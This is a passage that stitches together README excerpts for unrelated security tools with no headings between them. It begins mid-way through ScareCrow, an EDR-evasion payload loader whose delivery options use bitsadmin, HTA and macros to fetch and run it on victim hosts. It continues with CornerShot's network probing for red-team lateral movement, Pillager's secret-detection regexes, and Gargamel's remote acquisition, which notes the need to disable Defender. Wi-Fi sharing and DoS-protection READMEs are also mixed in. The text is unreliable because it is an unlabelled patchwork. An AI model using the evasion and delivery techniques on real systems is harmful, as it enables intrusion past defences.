• Control Panel – This generates a control panel applet (I.E Program and Features, or AutoPlay). By compiling the loader to have specific DLL export functions in combination with a file extension .cpl, it will spawn a control panel process (rundll32.exe) and the loader will be loaded into memory.
• WScript – Spawns a WScript process that utilizes a manifest file and registration-free Com techniques to the side-by-side load (not injected) DLL loader into its own process. This avoids registering the DLL in memory as the manifest file tells the process which, where, and what version of a DLL to load.
• Excel – Generates an XLL file which are Excel-based DLL files that when loaded into Excel will execute the loader. A hidden Excel process will be spawned, forcing the XLL file to be loaded.

ScareCrow also can generate binary based payloads if needed by using the -loadercommand line option. These binaries do not benefit from any side-by-side loading techniques but serve as an additional technique to execute shellcode depending on the situation.

ScareCrow utilizes a technique to first create the process and then move it into the background. This does two things, first it helps keeps the process hidden and second, avoids being detected by any EDR product. Spawning a process right away in the background can be very suspiciousness and an indicator of maliciousness. ScareCrow does this by calling the ‘GetConsoleWindow’ and ‘ShowWindow’ Windows function after the process is created and the EDR’s hooks are loaded, and then changes the windows attributes to hidden. ScareCrow utilizes these APIs rather than using the traditional -ldflags -H=windowsgui as this is highly signatured and classified in most security products as an Indicator of Compromise.

If the -console command-line option is selected, ScareCrow will not hide the process in the background. Instead, ScareCrow will add several debug messages displaying what the loader is doing.

The deliver command line argument allows you to generate a command or string of code (in the macro case) to remotely pull the file from a remote source to the victim’s host. These delivery methods include:

• Bits – This will generate a bitsadmin command that while download the loader remotely, execute it and remove it.
• HTA – This will generate a blank HTA file containing the loader. This option will also provide a command line that will execute the HTA remotely.
• Macro – This will generate an Office macro that can be put into an Excel or Word macro document. When this macro is executed, the loader will be downloaded from a remote source and executed, and then removed.

• Currently only supports x64 payloads
• Some older versions of Window's OS (i.e Windows 7 or Windows 8.1), have issues reloading the systems DLLs, as a result a verison check is built in to ensure stability

• Special thanks to the artist, Luciano Buonamici for the artwork
• Special thanks to josephspurrier for his repo

An open source implementation of the grantor role in Apple's Wi-Fi Password Sharing protocol.

OpenWifiPass is experimental software and is the result of reverse engineering efforts by the Open Wireless Link project. The code serves solely documentary and educational purposes. It is untested and incomplete. For example, the code does not verify the identity of the requestor. So, do not use this implementation with sensitive Wi-Fi credentials. OpenWifiPass is not affiliated with or endorsed by Apple Inc.

Hardware:Bluetooth Low Energy radio, e.g., Raspberry Pi 4

OS: Linux (due to the bluepy dependency)

Clone this repository and install it:

git clone git@github.com/seemoo-lab/openwifipass.git
pip3 install ./openwifipass

Run openwifipass to share Wi-Fi credentials (SSID and PSK) with any requestor (we need super user privileges to use the Bluetooth subsystem):

sudo -E python3 -m openwifipass --ssid <SSID> --psk <PSK>

Use quoting of your shell to remove special meaning of certain characters in SSID/PSK. In the example below, we use single quotes (') to prevent shell expansion of the $ character in the PSK.

A successful run of the protocol would look as follows:

pi@raspberrypi:~/openwifipass $ sudo -E python3 -m openwifipass --ssid OWL --psk '$uper$ecretPassword'
Start scanning...
SSID match in PWS advertisement from aa:bb:cc:dd:ee:ff
Connect to device aa:bb:cc:dd:ee:ff
Send PWS1
Receive PWS2
Send M1
Receive M2
Send M3
Receive M4
Send PWS3
Receive PWS4
Wi-Fi Password Sharing completed

This projects contains a reusable OPACK (de)serializer. Read OPACK.md for more information.

• Jannik Lorenz

• Milan Stute, Alexander Heinrich, Jannik Lorenz, and Matthias Hollick. Disrupting Continuity of Apple’s Wireless Ecosystem Security: New Tracking, DoS, and MitM Attacks on iOS and macOS Through Bluetooth Low Energy, AWDL, and Wi-Fi.30th USENIX Security Symposium (USENIX Security ’21), August 11–13, 2021, Vancouver, B.C., Canada. To appear.
• Jannik Lorenz. Wi-Fi Sharing for All: Reverse Engineering and Breaking the Apple Wi-Fi Password Sharing Protocol. Bachelor thesis, Technical University of Darmstadt, March 2020.

In warfare, CornerShot is a weapon that allows a soldier to look past a corner (and possibly take a shot), without risking exposure. Similarly, the CornerShot package allows one to look at a remote host’s network access without the need to have any special privileges on that host.

Using CornerShot, a source, with network access to carrier, can determine whether there is network access between the carrier and target for a specific port p.

For example, let's assume an red team is trying to propagate from a "compromised" source host A, to a target host X, for which host A has no access to. If they propagate through host B, only then they will discover that there is not network access between host B and X.

By using CornerShot, the team can discover that host C actually has access to target X, so propagation towards target X should go through host C first.

+-----+        +-----+          +-----+
|     |        |     | filtered |     |
|  A  +-------->  B  +----X--->(p) X  |
|     |        |     |          |     |
+-----+        +-----+          +-(p)-+
 source      carrier        target
   +                               ^
   |                               |
   |           +-----+             |
   |           |     |   open      |
   +---------->+  C  +-------------+
               |     |
               +-----+

Similarly to nmap, CornerShot differentiates between the following state of ports: open,closed, filtered and unknown (if it can't be determined).

The following demo shows running CornerShot against two carriers hosts 172.0.1.12 & 172.0.1.13, in order to determine if the have network access to 192.168.200.1:

Read more here.

The seemingly simple task of identifying if some host B in the network has access to host C may require large deployment of network sensors, device agents or collection of a multitude of firewall rules, router configurations and host policies.

CornerShot can simplify this process by using one (or very few) agents that can query other hosts in the network, to determine their access to remote hosts.

Security teams that utilize BloodHound to find, and mitigate, privilege escalation paths inside their network, often struggle with millions of logical paths discovered by BloodHound.

ShotHound is a tool that integrated CornerShot with BloodHound, in order to discover practical paths that are supported by network access.

CornerShot can be used as a package, or as a standalone module. The only requirements are Python 3 and the impacket package.

pip install cornershot

Basic usage requires credentials from a valid domain user, a FQDN domain, a carrier IP and target IP.

python -m cornershot <user> <password> <domain> <carrier> <target>

To scan a range of carriers against a range of targets, subnets or IP ranges may be used in a comma delimited list:

python -m cornershot <user> <password> <domain> 192.168.1.10-192.168.1.20 192.168.5.0/24,192.168.6.0/24

By default, CornerShot will try to scan the following ports: 135, 445, 3389, 5985, 5986. The user can provide a comma delimited list of ports and port ranges:

python -m cornershot -tp 22,8080,45000-45005 <user> <password> <domain> <carrier> <target>

Within code, one needs to instantiate a CornerShot object with the username, password and domain name of a valid domain user. Adding carriers, target and ports is achieved via the add_shots method. Once ready, the open_fire method can be called, which performs only the relevant RPC calls based on the required ports.

from cornershot import CornerShot
cs = CornerShot("username", "password", "fqdn")
cs.add_shots(carriers=["192.168.1.1"],targets=["192.168.1.2","192.168.1.3"])
results = cs.open_fire()

The result of open_fire is a dictionary with keys of carriers, each carrier has another set of keys for targets, and finally, each target holds a dictionary of ports and their respective states. This is an example format of a result:

{'carrier_1': 
	{'target_1': 
		{135: 'unknown', 445: 'filtered', 3389: 'filtered', 5986: 'filtered', 5985: 'filtered'},
	'target_2': 
		{135: 'unknown', 445: 'open', 5985: 'unknown', 5986: 'filtered', 3389: 'open'}
	}, 
'carrier_2': 
	{'target_1': 
		{3389: 'filtered', 135: 'filtered', 5985: 'filtered', 445: 'filtered', 5986: 'unknown'}, 
	'target_2': 
		{5985: 'filtered', 5986: 'filtered', 445: 'filtered', 135: 'filtered', 3389: 'open'}
	}
}

CornerShot relies on various, well documented, standard Remote Procedure Call (RPC) methods that are used by various Microsoft services. By using methods that only require an authenticated account in the domain, CornerShot is able to trigger network traffic from a carrier host to a target.

CornerShot is able to determine the remote's port state by measuring the time an RPC call took, and using different error codes for each RPC method.

The reader may be familiar with the "printer bug", which was discovered by Lee Christensen. While it is called a bug, it is a well documented behaviour of the printing service, which allows any authenticated user to coerce a remote server to authenticate to any machine, using the RpcRemoteFindFirstPrinterChangeNotificationEx method.

CornerShot utilizes the following RPC methods from several Microsoft protocols (there are many additional methods, which will be implemented in future versions):

• RPRN : RpcOpenPrinter
• RRP : BaseRegSaveKey
• EVEN : ElfrOpenBELW
• EVEN6 : EvtRpcOpenLogHandle

Implementation of the protocols themselves is achieved via the wonderful impacket package.

This method receives a printerName as parameter. The printerName name can be a path to a local file, a remote file or even to a web printer. By supplying a name that conforms with the WEB_PRINT_SERVER format, it is possible to query any remote port. One example of a web print server name which will trigger HTTP traffic to a remote host and port is: "http://<target_ip>:<target_port>/printers/ppp/.printer".

To utilize this method, we need a two step approach: first, open a registry key on the remote host - which results with a valid handle, and second, try and save a backup of this handle to a remote file. The BaseRegSaveKey method receives a file path to which it can save a backup of a registry, which triggers SMB traffic over port 445 (and 135 as backup) to a target. The registry key CornerShot opens is the HKEY_CURRENT_USER, which is open for reading by default on most client hosts.

This function tries to backup Windows events into a file path, which can be remote - in such a case the service will try and access the remote host and path.

Similarly to the EVEN method, only this method utilizes a different version of the Windows Events protocol, which is done directly over TCP - no need for SMB port to be open.

CornerShot estimates the remote ports' state based on timing factors and error messages received by the RPC method or underlying transport. By experimenting with different Windows hosts and various RPC protocols, we came up with 3 different timing thresholds that prove to work in most network environments. These thresholds are best illustrated with the following figure:

                +                           +                 +     
                |                           |                 |
     unknown    |       open / closed       |     filtered    |  open
     /          |                           |                 |
     open       |                           |                 |
                |                           |                 |
  +-------------+------------------+-----------------+--------------+
  0            0.5                          20                40    Seconds
               MIN                        FILTERED           UPPER  

The MIN threshold is 0.5 seconds, responses below this threshold either mean an error in the underlying RPC method or underlying transport, or a response could have been received from the target host.

Replies below FILTERED threshold of 20 seconds could indicate either an open or a closed port, depending on the type of error message received for the method.

Replies between the FILTERED and UPPER threshold of 40 seconds indicate a filtered port for all tested methods (so far...). And requests taking more than the UPPER limit indicate a prolonged open TCP connection.

Executing Corenershot against different OS versions and configurations will yield different results. Not all Windows versions have the same named pipes or behave the same when queried with the same RPC method. Most Windows OOTB will not expose SMB and other RPC services over the network, however, experience has shown that in large environments these ports tend to be open and accessible for most of the assets.

The following table shows default support for various RPC protocols, given that the appropriate ports are accessible to the carrier host and no configuration changes were made to the host:

* If Webclient service is running on a client machine, additional ports can be scanned. Currently CornerShot does not support this option.

** RPRN protocol is supported on server hosts, however opening a remote web printer does not work (which is why we can't scan ANY target port) - until we find a workaround

Additional RPC shots, or any other contribution is welcome!

All RPC methods are implemented under /shots, and inherit from an abstract class named BaseRPCShot. The /example folder shows how to create a custom RPC shot and use it in code.

We are happy to hear from you! For bugs, patches, suggestions on this package, please contact us at support@zeronetworks.com

Gatekeeper is the first open source DoS protection system. It is designed to scale to any peak bandwidth, so it can withstand DoS attacks both of today and of tomorrow. In spite of the geographically distributed architecture of Gatekeeper, the network policy that describes all decisions that have to be enforced on the incoming traffic is centralized. This centralized policy enables network operators to leverage distributed algorithms that would not be viable under very high latency (e.g. distributed databases) and to fight multiple multi-vector DoS attacks at once.

The intended users of Gatekeeper are network operators of institutions, service and content providers, enterprise networks, etc. It is not intended to be used by individual Internet users.

For more information, see the Gatekeeper wiki.

DPDK requires the use of hugepages; instructions for mounting hugepages are available in the requirements documentation. On many systems, the following hugepages setup is sufficient:

$ echo 256 | sudo tee /sys/kernel/mm/hugepages/hugepages-2048kB/nr_hugepages

Debian packages for Gatekeeper are available at the project's Releases page.

Once the packages are downloaded, they can be installed with the commands below:

$ tar -zxvf gatekeeper-ubuntu-18.04-packages.tar.gz
$ cd gatekeeper-ubuntu-18.04-packages
$ sudo dpkg -i libgkrte-*.deb \
    libgkdpdk-dev_*_amd64.deb \
    gatekeeper-dpdk_*_amd64.deb \
    gatekeeper-dpdk-dev_*_amd64.deb \
    gatekeeper-dpdk-igb-uio-dkms_*_amd64.deb \
    gatekeeper-dpdk-rte-kni-dkms_*_amd64.deb \
    gatekeeper-bird_*_amd64.deb \
    gatekeeper_*_amd64.deb

The gatekeeper-dpdk-dev package is a dependency of the DKMS packages, which build their respective kernel modules during package installation and kernel upgrades.

Edit the /etc/gatekeeper/envvars file and insert names of the network adapters to be bound to DPDK. For example:

GATEKEEPER_INTERFACES="eth0 eth1"

Alternatively, the interfaces' PCI addresses can be specified:

GATEKEEPER_INTERFACES="0000:00:07.0 0000:00:08.0"

In the same file, you can optionally specify Environmental Abstraction Layer options in the DPDK_ARGS variable and Gatekeeper-specific options in GATEKEEPER_ARGS.

Run the commands below to start Gatekeeper and to ensure it is started automatically on reboots.

$ sudo systemctl start gatekeeper
$ sudo systemctl enable gatekeeper

Install the following software dependencies:

$ sudo apt-get update
$ sudo apt-get -y -q install git clang devscripts doxygen hugepages \
build-essential linux-headers-`uname -r` libmnl0 libmnl-dev \
libkmod2 libkmod-dev libnuma-dev libelf1 libelf-dev libc6-dev-i386 \
autoconf flex bison libncurses5-dev libreadline-dev

Note: Both libmnl0 and libmnl-dev are needed to compile and run gatekeeper, but only libmnl0 is needed for simply running gatekeeper. Both libkmod2 and libkmod-dev are needed to compile and run gatekeeper, but only libkmod2 is needed for simply running gatekeeper. libnuma-dev is needed to compile the latest DPDK and to support NUMA systems. The package libelf-dev is needed to compile DPDK with support to reading BPF programs from ELF files, but only libelf1 is needed to run it. The package libc6-dev-i386 is needed to compile the BPF programs in the folder bpf/. The autoconf, flex, bison, libncurses5-dev, and libreadline-dev packages are for BIRD. The devscripts package is used to build Gatekeeper Debian packages.

To use DPDK, make sure you have all of the environmental requirements.

Clone the Gatekeeper repository, including the submodules that contain Gatekeeper dependencies:

$ git clone --recursive http://github.com/AltraMayor/gatekeeper.git

If you do not use the --recursive clone option, you need to obtain the submodules that contain the dependences from within the gatekeeper directory:

$ git submodule init
$ git submodule update

This section explains how to build Gatekeeper manually. If you want to build Debian packages, refer to the section How to build packages.

While in the gatekeeper directory, run the setup script:

$ . setup.sh

This script compiles DPDK, LuaJIT, and BIRD, and loads the needed kernel modules. Additionally, it saves the interface names and their respective PCI addresses in the file lua/if_map.lua so that interface names can be used in the Gatekeeper configuration files.

It also sets two environmental variables: RTE_SDK and RTE_TARGET. They must be set before gatekeeper will compile.

After running the setup script, you may want to save the environmental variables in your shell's preferences file. For example, in Bash, you can do:

$ echo "export RTE_SDK=${RTE_SDK}" >> ${HOME}/.profile
$ echo "export RTE_TARGET=${RTE_TARGET}" >> ${HOME}/.profile

Otherwise, each time you login you will need to set these environmental variables again.

Once DPDK is compiled and the variables are set, gatekeeper can be compiled:

$ make

Before gatekeeper can be used, the network adapters must be bound to DPDK. For this, you can use the script dependencies/dpdk/usertools/dpdk-devbind.py. For example:

$ sudo dependencies/dpdk/usertools/dpdk-devbind.py --bind=uio_pci_generic enp131s0f0

This command binds the interface enp131s0f0 to the uio_pci_generic driver so that frames can be passed directly to DPDK instead of the kernel. Note that this binding must take place after Gatekeeper is setup in the steps above so that the bound interface appears in the list of interfaces in lua/if_map.lua.

Once gatekeeper is compiled and the environment is configured correctly, run:

$ sudo build/gatekeeper [EAL OPTIONS] -- [GATEKEEPER OPTIONS]

Where [EAL OPTIONS] are specified before a double dash and represent the parameters for DPDK's Environmental Abstraction Layer and [GATEKEEPER OPTIONS] are specified after the double dash and represent Gatekeeper-specific options.

The early configuration of the system, including device and memory configuration in DPDK, will be logged to stdout. Once Gatekeeper is booted, all information is output to the Gatekeeper log.

Gatekeeper Debian packages can be built with the commands below. They are meant to be run from the repository root and assume the git submodules have been pulled, and that the build dependencies have been installed, as instructed above. Gatekeeper and the submodules will be automatically compiled during the package build process.

$ tar --exclude-vcs -Jcvf ../gatekeeper_1.0.0.orig.tar.xz -C .. gatekeeper
$ debuild -uc -us

The Gatekeeper package will be available in the parent directory.

Pillager is designed to provide a simple means of leveraging Go's strong concurrency model to recursively search directories for sensitive information in files. Pillager does this by standing on the shoulders of a few giants. Once pillager finds files that match the specified pattern, the file is scanned using a series of concurrent workers that each take a line of the file from the job queue and hunt for sensitive pattern matches. The available pattern filters can be defined in a rules.toml file or you can use the default ruleset.

If you have Go setup on your system, you can install Pillager with go get

go get github.com/brittonhayes/pillager

scoop bucket add pillager https://github.com/brittonhayes/pillager-scoop.git
scoop install pillager

brew tap brittonhayes/homebrew-pillager
brew install pillager

If you're looking for a binary, check the latest releases for the executable that matches your system

To see all the commands available with pillager

# To see instructions for the entire application
pillager

# From any subcommand
pillager [cmd] --help

Pillager provides full support for Gitleaks rules. This can either be passed in with a rules.toml file, or you can use the default ruleset by leaving the rules flag blank.

# rules.toml
title = "pillager rules"

[[rules]]
description = "AWS Access Key"
regex = '''(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}'''
tags = ["key", "AWS"]
[[rules.entropies]]
    Min = "3.5"
    Max = "4.5"
    Group = "1"

[[rules]]
description = "Email Address"
regex = '''(?i)([A-Za-z0-9!#$%&'*+\/=?^_{|.}~-]+@(?:[a-z0-9](?:[a-z0-9-]*[a-z0-9])?\.)+[a-z0-9](?:[a-z0-9-]*[a-z0-9])?)'''
tags = ["email", "User Info"]

Pillager allows you to use powerful go text/template to customize the output format. Here are a few template examples.

{{/*basic.tmpl*/}}  {{ range .Leaks}}      Leak: {{.Line}}      Line: {{.LineNumber}}      File: {{ .File }}  {{end}}  

{{/*markdown.tmpl*/}}  # Results  {{ range .Leaks}}      ## {{ .File }}      - Location: {{.LineNumber}}  {{end}}  

GoDoc documentation is available on pkg.go.dev for pillager but it also available for all packages in the ./pkg directory. Just open the folder of any package, and you'll see the GoDocs rendered in beautiful Github-flavored markdown thanks to the awesome gomarkdoc tool.

What is Cobra?

Cobra is a library providing a simple interface to create powerful modern CLI interfaces similar to git & go tools. Cobra is also an application that will generate your application scaffolding to rapidly develop a Cobra-based application.

If you've seen a CLI written in Go before, there's a pretty high chance it was built with Cobra. I can't recommend this library enough. It empowers developers to make consistent, dynamic, and self-documenting command line tools with ease. Some examples include kubectl, hugo, and Github's gh CLI.

What is Gitleaks?

Gitleaks is a SAST tool for detecting hardcoded secrets like passwords, api keys, and tokens in git repos.

Gitleaks is an amazing tool for secret leak prevention. If you haven't implemented Gitleaks as a pre-commit checker, it's worth your time to check it out.

Why is Gitleaks relevant to Pillager?

Pillager implements the powerful rules functionality of Gitleaks while taking a more offensive approach to working with the secrets found. While I have provided a baseline set of default rules, Pillager becomes much more powerful if you allow users to create rules for their own use-cases.

This goes without saying but I'm going to say it anyways: I am not responsible for any repercussions caused by your use of pillager. This tool is intended for defensive, Blue Team use.

A Forensic Evidence Acquirer

Assuming you have Rust 1.41+ installed. Open terminal in the project directory and to compile a release build type

cargo build --release

Debug build can be compiled using

cargo build

Compiled executable is located at target/release/gargamel.exe or target/debug/gargamel.exe, respectively.

If you wish to change the logging level:

• Open src/main.rs
• On lines 42 and 43 change LevelFilter::Info to (for example) LevelFilter::Trace for more detailed logging.
  • Beware that the LevelFilter::Trace will log everything including passwords.

Right now, this app works only on Windows and the target computer must use Windows or Linux.

Make sure to have the following programs in the same directory as Gargamel.

• psexec, download
• paexec, an open source alternative to PsExec, download
• winpmem, an open source memory image tool, download.
  • Download the newest executable and rename it to winpmem.exe
• plink and pscp, an open source CLI SSH/SCP clients, download
• SharpRDP, an open source command executor using RDP, download
• WMImplant, as open source PowerShell WMI command executor, download
• 7za.exe, a standalone console version of 7zip archiver, download

Note: We need both the psexec and paexec. Although both applications are supposed to be functionally equivalent they actually both have different behavior under some circumstances.

Gargamel needs to be launched from an elevated terminal to be fully functional. Currently it does not support the UAC dialog nor any kind of notification when running with limited privileges. When running with limited user privileges, then some operations like target memory dumping will not work.

Assume you want to connect to a computer with the following parameters:

• address 192.168.42.47
• username Jano
• password nbusr123

The following command will acquire firewall state, network state, logged users, running processes, active network connections, registry, system & application event logs using PsExec method. Evidence will be stored in the testResults directory relative to the location of Gargamel.

gargamel.exe -c 192.168.42.47 -u Jano --psexec -o testResults

Gargamel will ask you for password of the remote user, in our example the password is nbusr123. Note that password will be hidden when typing.

It is also possible to specify the password directly as program argument.

gargamel.exe -c 192.168.42.47 -u Jano --psexec -p nbusr123 -o testResults

Assume you want to connect to a computer in a domain with the following parameters:

• domain WORKSPACE
• computer name JanovPC
• username Jano
• password nbusr123

The following command will acquire firewall state, network state, logged users, running processes, active network connections, registry, system & application event logs using PsExec method.

gargamel.exe -c JanovPC -u Jano -d WORKSPACE --psexec -o testResults

Or to skip password prompting specify the password directly.

gargamel.exe -c JanovPC -u Jano -d WORKSPACE --psexec -p nbusr123 -o testResults

PsExec is one of the 5 supported connection methods. You can replace the --psexec with the following options:

• --psexec
• --psrem, if PowerShell remoting is configured on target machine.
• --rdp, if RDP is enabled on target machine.
• --wmi.
• --ssh, if target machine uses Linux.

It is possible to use several methods at once. For example to use both PsExec and RDP one can use the following command.

gargamel.exe -c 192.168.42.47 -u Jano --psexec --rdp -o testResults

There is also a special switch --all that is equal to specifying --psexec --rdp --psrem --wmi.

Note: Launch parameters are order-agnostic, i.e. it does not matter in which order the parameters are specified.

To acquire also memory dump, then simply add the -m flag to the program parameters, i.e.

gargamel.exe -c 192.168.42.47 -u Jano --psexec -o testResults -m

If you wish to acquire ONLY the memory dump without other evidence then use the following command.

gargamel.exe -c 192.168.42.47 -u Jano --psexec -o testResults -m --no-events-search --no-evidence-search --no-registry-search                                                          

This functionality is available only for Windows targets.

Gargamel may run custom Windows CMD or Linux shell commands on remote machine.

First create a file custom-commands.txt with the following content.

# Will be run using any method
ipconfig
# Will run only when launching with at least one of --all, --psexec, --wmi methods
:psexec:wmi ipconfig -all

Results of the above commands will be stored in the directory specified by -o option.

To run the above commands written in custom-commands.txt use the -e switch, i.e.

gargamel.exe -c 192.168.42.47 -u Jano --psexec -o testResults -e custom-commands.txt                                                           

Gargamel is able to download remote files.

First create a file custom-files.txt with the following content.

C:\Users\Public\sss*
C:\Users\Jano\danove.pdf 
# This line and the next one will be ignored
# C:\Users\Jano\somBajecny.pptx  

Results of the above commands will be stored in the directory specified by -o option.

To run the above commands written in custom-files.txt use the -s switch, i.e.

gargamel.exe -c 192.168.42.47 -u Jano --psexec -o testResults -s custom-files.txt                                                           

All supported switches are described below.

USAGE:
    gargamel.exe [FLAGS] [OPTIONS] --user <user>

FLAGS:
    -a, --all                   Acquire evidence from Windows machine using all supported methods (PsExec, PsRemote,
                                WMI, RDP).
        --no-events-search      Disables Windows event logs acquisition.
        --no-evidence-search    Disables acquisition of evidence that can be usually downloaded quickly (like ipconfig,
                                firewall status etc..)
        --no-registry-search    Disables target registry acquisition.
    -h, --help                  Prints help information
    -m, --mem-image             Optional: Memory dump of a target Windows machine.
        --local                 Acquire evidence from local machine.
        --nla                   Optional: Use network level authentication when using RDP. (Windows targets only)
        --no-7z                 Optional: Disable 7zip c   ompression for registry & memory images.This will significantly
                                decrease the running time, but WMI and RDP connections will probably not work properly.
                                    (Windows targets only)
        --psexec                Acquire evidence from Windows machine using PsExec. Requires both PsExec64.exe and
                                paexec.exe in the current directory or in the path.
        --psrem                 Acquire evidence from Windows machine using PowerShell. Requires both PsExec64.exe and
                                paexec.exe in the current directory or in the path.
        --rdp                   Acquire evidence from Windows machine using RDP. Requires SharpRDP.exe in the current
                                directory or in the path.
        --ssh                   Acquire evidence from Linux machine using SSH. Requires both plink.exe and pscp.exe in
                                   the current directory or in the path.
    -V, --version               Prints version information
        --wmi                   Acquire evidence from Windows machine using WMI. Requires WMImplant.ps1 in the current
                                directory or in the path and PowerShell 3.0+ on the host machine.Note: It is necessary
                                to disable Windows Defender real-time protection (other AVs not tested).

OPTIONS:
    -c, --computer <computer>                        Remote computer address/name. [default: 127.0.0.1]
    -u, --user <user>                                Remote user name
    -d, --domain <domain>                            Optional: Remote Windows domain
       -o, --output <local-store-directory>
            Name of local directory to store the evidence [default: evidence-output]

    -p, --password <password>
            Optional: Remote user password. Skipping this option will prompt a possibility to put a password in hidden
            way.To specify an empty password use `-p ""`

        --redownload <re-download>
            Optional: Download and DELETE specified file from target computer. Use this in case of previous failed
            partially completed operation. For just downloading a file (without deleting it) please use a `search`
            switch. If you specify a 7zip chunk (.7z.[chunk-number], e.g. .7z.004), then it will also automatically try to
            download subsequent chunks.Use also with --psexec --psrem, --rdp, --wmi, --all

    -r, --remote-storage <remote-store-directory>
            Name of remote directory to be used as a temporary storage. (Windows targets only) [default:
            C:\Users\Public]

    -e, --commands <custom-command-path>             Optional: File with custom commands to execute on remote computer

    -s, --search <search-files-path>
            Optional: File with files names to be searched on remote computer. File names supports also `*` and `?`
            wildcards on file names (but not yet parent directories).

        --key <ssh-key>                              Optional: Name/path of SSH private key file. (Linux target only)

        --timeout <timeout>
            Optional: Timeout in seconds for long running operations.This option is a workaround for a bug in
            WMImplant.ps1 amd SharpRDP.exe where finishing of a long running operation cannot sometimes properly close
               the connection leaving the Gargamel in seemingly frozen state or executing the next operation with the
            previous one unfinished on target site.Increasing this timeout may solve issues when acquiring registry or
            memory image from target machine. [default: 300]

• WMI cannot write its output to file with symbol _ in its path/name.